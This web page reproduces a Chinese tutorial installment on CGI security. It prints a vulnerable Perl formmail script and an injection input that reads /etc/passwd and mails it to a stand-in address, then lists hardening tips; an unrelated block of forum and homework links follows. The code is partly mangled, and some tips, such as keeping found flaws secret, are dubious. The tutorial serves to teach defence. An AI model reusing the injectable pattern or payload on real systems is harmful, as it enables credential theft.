说三道四技术文摘-感悟人生的经典句子
说三道四 > 文档快照

用Delphi编写CGI程序(五)

HTML文档下载 WORD文档下载 PDF文档下载
用Delphi编写CGI程序(五)

CGI 程 序 的 功 能 是 强 大 的

但 正 是 因 为 如 此 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话,将 使 您 的 系 统 千 疮 百 孔。 本 篇 就 CGI的 安 全 性 问 题 做 一 讨 论。

3 、 CGI 的 安 全 性

CGI 程 序 的 功 能 是 强 大 的 , 它 不 仅 可 以 具 有 普 通 程 序 的 功 能 , 而 且 可 以 将 程 序 的 结 果 发 布 在 WEB 上 。 但 正 是 因 为 CGI 程 序 的 功 能 如 此 强 大 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话 , 将 使 您 的 系 统 千 疮 百 孔 , 让 一 些 非 法 用 户 有 机 可 乘 。

这 里 所 讲 到 的 安 全 性 并 不 是 CGI 规 范 引 起 的 , 而 是 编 程 和 系 统 设 置 不 当 引 起 的 。 CGI 规 范 使 用 户 可 以 利 用 服 务 器 的 计 算 能 力 , 是 在 服 务 器 上 的 计 算 不 当 导 致 了 系 统 的 安 全 漏 洞 。 下 面 我 给 出 一 个 在 UNIX 系 统 上 的 一 个 CGI 安 全 漏 洞 , 这 个 漏 洞 是 非 常 常 见 的 。

# !/usr/local/bin/perl

# formmail.cgi

require "cgi.pl";

# Launch e-mail application "/bin/mail" with Subject: header from the "formname" field

open (MAIL

|/bin/mail -s '

.$input{"formname"}."' webweave");

# Add send "formcontents" field as the body of the message

print MAIL $input{"formcontents"};

close(MAIL);

exit(0);

在 这 个 例 子 中 , CGI 程 序 将 表 单 的 信 息 提 交 给 /bin/mail , 并 发 送 到 webveave 服 务 器 上 去 。 在 大 多 数 情 况 下 这 个 CGI 程 序 可 以 正 常 完 成 任 务 , 但 此 CGI 程 序 未 过 滤 用 户 在 WEB 表 单 中 输 入 的 信 息 , 因 此 留 下 了 安 全 隐 患 。 当 用 户 或 别 有 用 心 的 人 输 入 了 错 误 的 数 据 可 能 导 致 系 统 错 误 或 得 到 不 应 有 的 权 限 。

例 如 用 户 在 WEB 表 单 的 "formname" 中 填 写 下 面 的 内 容 :

ls /etc/passwd 'cracker@illegal.org #'    在 用 户 的 WEB 浏 览 器 中 就 会 显 示 出 /etc/passwd 的 内 容 , 若 此 UNIX 系 统 的 passwd 文 件 没 有 shadow , 用 户 就 可 以 利 用 此 内 容 , 使 用 crack jack 或 crack john 就 可 以 试 图 破 解 密 码 !    前 面 已 经 提 到 , CGI 的 安 全 是 程 序 员 和 系 统 管 理 员 都 应 负 责 的 , 下 面 我 就 分 别 讲 一 讲 二 者 应 注 意 的 事 :    系 统 管 理 员 的 工 作 :    1 、 与 程 序 员 合 作 , 共 享 有 关 服 务 器 安 全 的 信 息 , 同 时 互 相 检 查 代 码 , 及 时 发 现 代 码 中 的 安 全 问 题 。    2 、 使 用 好 的 服 务 器 软 件 , 经 常 去 服 务 器 软 件 的 WEB 站 点 了 解 最 新 的 信 息 。    3 、 将 服 务 器 的 用 户 限 制 在 特 定 的 网 络 主 机 上 , 使 用 服 务 器 的 安 全 管 理 功 能 、 设 置 路 由 存 取 控 制 等 。    4 、 对 CGI 功 能 进 行 限 制 , 部 分 高 级 服 务 仅 限 于 信 任 的 用 户 , 将 测 试 中 的 CGI 程 序 的 使 用 限 制 在 开 发 人 员 中 , 只 提 供 给 用 户 经 过 测 试 的 CGI 程 序 。    5 、 在 使 用 其 他 人 的 CGI 程 序 时 , 仔 细 检 查 代 码 。    6 、 将 CGI 程 序 的 使 用 限 制 在 受 保 护 的 环 境 中 , 服 务 器 设 置 成 非 特 权 用 户 访 问 , 并 为 CGI 程 序 专 门 设 立 一 个 运 行 帐 户 或 组 。    7 、 将 运 行 CGI 程 序 的 服 务 器 设 置 在 防 火 墙 外 , 这 一 点 一 定 要 注 意 , CGI 程 序 的 服 务 器 必 须 设 置 在 防 火 墙 外 , 如 果 设 置 在 防 火 墙 内 , 一 旦 非 法 用 户 找 到 了 CGI 程 序 服 务 器 的 安 全 漏 洞 , 他 就 可 以 控 制 在 防 火 墙 内 的 所 有 主 机 !    8 、 降 低 CGI 程 序 的 运 行 优 先 级 , 防 治 用 户 恶 意 运 行 大 量 的 CGI 程 序 导 致 服 务 器 过 载 。    9 、 订 阅 有 关 网 络 安 全 性 的 邮 件 , 参 加 网 络 安 全 性 的 新 闻 组 。    CGI 程 序 员 的 工 作 :    1 、 同 系 统 管 理 员 合 作 , 了 解 系 统 的 安 全 信 息 , 相 互 检 查 代 码 。    2 、 使 用 可 靠 的 库 程 序 , 检 查 库 程 序 的 源 代 码 。    3 、 从 REMOTE_HOST 中 得 到 客 户 机 名 , 将 一 些 高 级 功 能 限 制 在 受 信 任 的 客 户 机 。    4 、 如 果 WEB 服 务 器 提 供 HTTP 口 令 确 认 , 使 用 HTTP 口 令 来 限 制 访 问 。    5 、 过 滤 用 户 的 输 入 , 去 除 非 法 的 输 入 数 据 。    6 、 限 制 输 入 数 据 的 大 小 , 防 止 恶 意 用 户 输 入 大 量 数 据 使 服 务 器 过 载 。    7 、 避 免 传 递 用 户 数 据 到 其 他 应 用 程 序 , 以 免 用 户 调 用 命 令 解 释 器 或 利 用 其 他 应 用 程 序 的 安 全 漏 洞 。    8 、 发 现 了 CGI 程 序 的 漏 洞 时 , 不 要 对 任 何 人 讲 , 更 不 要 在 程 序 中 注 释 说 明 , 您 应 该 作 的 就 是 立 刻 修 补 漏 洞 。    9 、 学 作 攻 击 者 , 找 出 CGI 程 序 的 安 全 漏 洞 。

VB利用API函数实现VB特殊窗体的两种方法 VB利用API函数实现无TittleBar窗体的移动 VB利用API在VB5.0中实现清除文档名 VB利用App.PrevInstance防止同一程序执行多次 VB判断应用程序是否仍在运行并设置焦点 巧用VISUAL BASIC的RND()函数 让你的程序不在任务栏中显示 -VB资料 VB如何不用API使文本框属性只读? VB如何从文件中提取图标 VB如何关闭/重新启动计算机? VB如何建立快捷方式? VB如何让窗口始终在最前面? VB如何使你的程序同文件扩展名建立关联? VB如何提高调用WINDOWS API函数编程技巧 VB如何为你的应用程序设置热键? VB如何隐藏鼠标指针 VB如何用api检查任务栏中有多少种输入法 VB如何在函数中传递数量不定的参数? VB使用 kb_event 函数模拟键盘操作 VB使用API获取颜色 VB使用标签控件调出浏览器 VB使用调用外部程序函数实现API函数高级功能 未公开API函数揭秘——通用对话框-VB资料 显示文件属性对话框-VB资料 VB用 API 打开打印对话框 VB用API函数改进ListView控件的显示效果 VB用API函数控制光驱的开关 VB用注册表保存数据(VB函数篇) 有关Tray系统盒的VB API函数 在VB中调用API函数动态改变及恢复屏幕设置 在VB中控制Ctrl+Del+Alt键 请教各位:用jsp中怎样知道用户浏览器的类型? 哪里有bmp文件格式的标准? 为什么sql server2000数据库里的数据在Win XP下不能显示中文啊? 回答出来给100分 在pb中用SetPicture(lb_image)当lb_image为空时picture的图片不变 急!!请问关于传递byte数组的问题 请教动态库的问题! 使用Delphi能够访问Windows2000 Active Directory? 请问在发邮件的时候怎么检查邮件地址真假!有无正确的发到! 简单之极的问题(两个,有关IE和IIS),但我还不会 那里有activethreed 3.0下载,快帮帮我呀! 开发OFFICE ADDIN 插件是否需要OFFICE SDK? 谁能给我一个用C++实现哈希表的例子? ◇◆◇上海有居住证的请进来拿分◇◆◇ 誰有SilverStream的中文資料,或哪有下載,謝謝. 在VB中如何显示声音VU强度的输出 How to install VB6.0 Enterprise in Windows NT workstation4.0+sp6? 想使用windump却总是说 error opening adapter 是什么意思?? 关于pb的一个问题 怎么控制Word为只读属性? 在VB中如何显示声音VU强度的输出 快来啊,怎么总是不行?帮帮忙把!!!!!!!!!!! 关于TreeView与数据库的问题? 如何找一份软件开发的工作 WorkThread和UserThread到底有什么区别? ASGLW进来 麻烦帮下忙,一个看上去好像很简单的问题,居然搞不出 在有系统分析员的情况下实践XP 请问各位,如何装ORCALE呀,我买了ORACALE8.05的光盘,装了一个晚上都不能装上?来者有分! 怎样隐藏datagrid中的一列? 我的程序员表妹照片-----------mm程序员 80分求助!滚动ScrollBox的Scrollbar,结束滚动时,可以触发什么事件?请高手帮忙! CGI漏洞部题! 怎样令自己的程序不在按Ctrl+Alt+Delete弹出的任务管理器中出现? 如何开发http://www.mobset.com/这样的手机应用程序? 求救! 数据库操作中,内存不能为读,怎么办? 使id号自动加1的方法?? 吸烟成瘾 如何调用com? 有这样的控件么? pb中如何连接局域网中的另一台电脑,并拷贝文件? 我要做毕业设计了,请大家给点建议吧!十万火急,十万火急! 请问,该程序段如何设置组合条件查询? 通信的同步与异步 TreeView中取得节点值时遇到问题!时间太紧了,请帮忙! 招聘上海java程序员 555~~~~~小猪妹我受气了~~刚才去打网络台球,有人骂我好难听的话~~我怎么报仇?? 求助! 十万火急!!!请各位帮忙 有关sql语句的问题,急,(sql = "SELECT id,title,addtime FROM news where special ='是'") 将自然数n接写在任何自然数右边,得到的数能被n整除.n是1~100的自然数,满足条件的自然数有几个?请写出算式 5÷7分之5-7分之5x5分之1= 形成东亚季风区的主要原因是A.海陆热力性质的差异 B.洋流的影响 C.终年受赤道气团控制 D.气压带和风带位置的季节性移动 1000以内的立方数急 请问梁实秋的放风筝的赏析请问谁有这篇文章的赏析啊?什么样的都行. 形成东亚季风区的主要原因是如题 A.海陆热力性质的差异 B.洋流的影响 C.终年受赤道气团控制 D.气压带和风带位置的季节性移动 梁实秋什么代 《钱》 梁实秋 赏析 求东亚各种气候类型分布!详细分布情况,有点急 已知关于x的方程ax+b=2(2x+7)+1的解为任意有理数,求a、b的值 关于梁实秋《鸟》的赏析最好能说出写作手法 东亚和东南亚两个地区以什么气候类型为主为什么这里的这种气候是世界最典型的? 已知命题甲:方程x ^2+y ^2/m=1表示焦点在y轴上的椭圆,命题乙:函数f(x)=4x ^3/3-2mx ^2+(4m-3)x-m=0在(-无穷,+无穷)上单调递增.若这两个命题中有且只有一个成立,试求实数m的取值范围. 已知方程mx²mx+2=0有两个实数根、则m的值为____ 东亚的大部分地区属于什么气候类型?这种气候对水稻栽培有何影响? 根号下cos^2x的导数 命题p“方程[(X^2)/M]+Y^2=1是焦点在X轴上的椭圆”,命题Q“不等式(4X^2)-4MX+4M-3大于0在R上恒成立”...命题p“方程[(X^2)/M]+Y^2=1是焦点在X轴上的椭圆”,命题Q“不等式(4X^2)-4MX+4M-3大于0在R上恒成立”, 已知双曲线C1:x2/a2-y2/b2的离心率为2,若抛物线C2:x2=2py的焦点到双曲线C1的渐近线的距离为2,若A,B是C2上两点且OA⊥OB,则直线AB与y轴的交点的纵坐标为A.8√3/3 B.16 c.8 D.16√3/3 y=根号下(3-2x)的导数怎么求? 梁实秋的风格梁实秋的作品是什么风格,现代人读了还有多大的意义么?有什么思想? 已知双曲线x2/a2-y2/b2=1(a>0 b>0)的离心率为2 若抛物线c2:X²=2py(p>0)的焦点到双曲线C1的渐近线的距已知双曲线x2/a2-y2/b2=1(a>0 b>0)的离心率为2 若抛物线c2:X²=2py(p>0)的焦点到双曲线C1的渐近 1.我国面积最大的盘地是A.塔里木盘地 B.准噶尔盘地C.柴达木盘地 D.四川盘地2.我国最大的天然林区是A.东北林区 B.西南林区C.东南林区 D.西北林区3.我国太阳能、地热能、水能都非常丰富的地 已知抛物线y^2=2px(p>0)于椭圆x^2/9+y^2/8=1 有公共焦点 求 抛物线方程 已知双曲线x2/a2-y2/b2=1与抛物线y2=8x有相同的焦点f,且该点到双曲线的渐近线距离为1则双曲线的方程为 求地理高手来解答初二水平的地理题目啊,谢谢~第2小题:南北各异的自然环境. 梁实秋 男人我要内容 抛物线y2=2px焦点F恰好是双曲线x2/a2-y2/b2=1的右焦点,且双曲线过点(3a2/p,2b2/p),则该双曲线的渐近线方程 8.新疆瓜果特别甜的主要原因是( C )A.植物生长期长,夏季气温高,日照充足 B.土壤肥沃 C.云量少,光照强,气温日较差大 D.气温低,风力强 22.傣族聚居在云南南部,住竹楼,着短衣长裙是因为要 若有理数A满足|A|=-A,则下列结论正确的是( )A.a≥0 B.a≤0 Ca 如果方程mx²+2x+1=0有两个不相等的实数根,则m______ 若x=1是关于x的方程ax=b(b≠0)的解,试求下列两式的值,(1)a-b(2)(a×b分之1)2013的次方 a为有理数,下列结论正确的是()A.a²>0 B.a²+1>0 C./a/>0 D./a+1/>0 已知椭圆D:x*2\50+y*2\25=1与圆M:x*2+(y-5)*2=9,双曲线G与椭圆D有相同焦点,它的两条渐近线恰好与圆M相切,求双曲线G的方程 如果方程①ax的2次方-bx-6=0与方程②ax的2次方+2bx-15=0有一个公共跟是3,求A,B的值,并求方程的另一个根 若a是有理数,下列结论中正确的是A、a表示正有理数 B、-a表示负有理数C、a与-a必有一个负有理数D、a与-a互为相反数 x-5=6 -y=0.6 0.3x=45 三分之一y=-2 3x+1=x+9 2-四分之三x=x-5=6 -y=0.6 0.3x=45 三分之一y=-2 3x+1=x+9 2-四分之三x=2x+5 求解啊!哥哥姐姐,叔叔阿姨们! N为自然数100以内的整数,那么2n-1能被7整除的n有几个?. 以知a是任意有理数,下面结论正确的个数是( ) A0 B1 C 2 D3 3x-y=-1,x+2y=9用消元法来做 n为100以内的自然数,那么能令2的n次方,再减一,{(2的n次)-1 } 被7整除的n有多少个? a为任意有理数,若|a|>-a,则下列结论正确……A.a>0 B.a<0 C.a≤0 D.a≥0 过椭圆x2/a2+y2/b2=1的焦点垂直于X轴的弦长为a/2,则双曲线x2/a2-y2/b2=1的离心率为 n为100以内的自然数,那么能令2n-1被7整除的n有多少个?A.32 B.33 C.34 D.35 合并同类项:(1)3x²-1-2x-5+3x-x²; 2x(二分之一x-1)-3x(三分之一x+三分之二) 数学题用因式分解法解题 2X²-3X-3/2=0 16X²-24X+9=0 X²-4倍根号2×X+9=0 3X²数学题用因式分解法解题2X²-3X-3/2=0 16X²-24X+9=0 X²-4倍根号2×X+9=0 3X²+10=2X²+8X 3X²-12X= -12 4X² 关于x的方程9x-5=ax+2的解为整数,求满足条件的所整数a的值 关于x的方程(m+1)x^2+2mx-3=0有两个实数根,则m为? X/3=Y/2=Z/5,则分式xy+xz+yz/x^2+y^2+z^2= 当a取什么整数时+关于x的方程9x-3=ax+11的解是负整数 1、-2x(2x平方-3x-1) 2、(-二分之一x+三分之一y-十二分之五)(-6xy)3、-2xy(二分之一x-2y) 4、(27a三次方-15a平方+6a)·(-3a) 已知x+y分之xy=4分之1,x+z分之xz=5分之1,z+y分之yz=6分之一,求分式xy+xz+yz分之xyz的值 我国人口的突出特点是:A.是世界上平均人口密度最大的国家之一B.人口基数大,人口增长快C.人口问题多,人口压力大D.交通拥挤,住房紧张注意:突出突出突出 M为何值是,方程(m-1)x*2+2mx+m+3=0只有一个实数根 1.新建楼房的供电线路已经不再使用保险丝,而用带有保险装置的( )代替.当电流过大时,开关中的( )起作用,式开关断开,切断电路.2.某家用电能表上标有“220V 5A 3000r/kW.h”的字样,当家中用 为什么东亚是世界季风最典型的地方? xy/x+y=1,yz/y+z=2,xz/x+z=3求x,y重在过程 1.某地夏至日和冬至日的正午太阳高度相等,该地位于(正午太阳高度)A.赤道 B.北回归线 C.南回归线 D.极圈2.当北半球春分时,身高相等的4个同学分别站在下列四个不同的地点,正午时他们谁的 东亚季风影响哪些地区?请勿乱说!请具体说明!
备案号:鲁ICP备13029499号-2 说三道四 www.s3d4.cn 说三道四技术文摘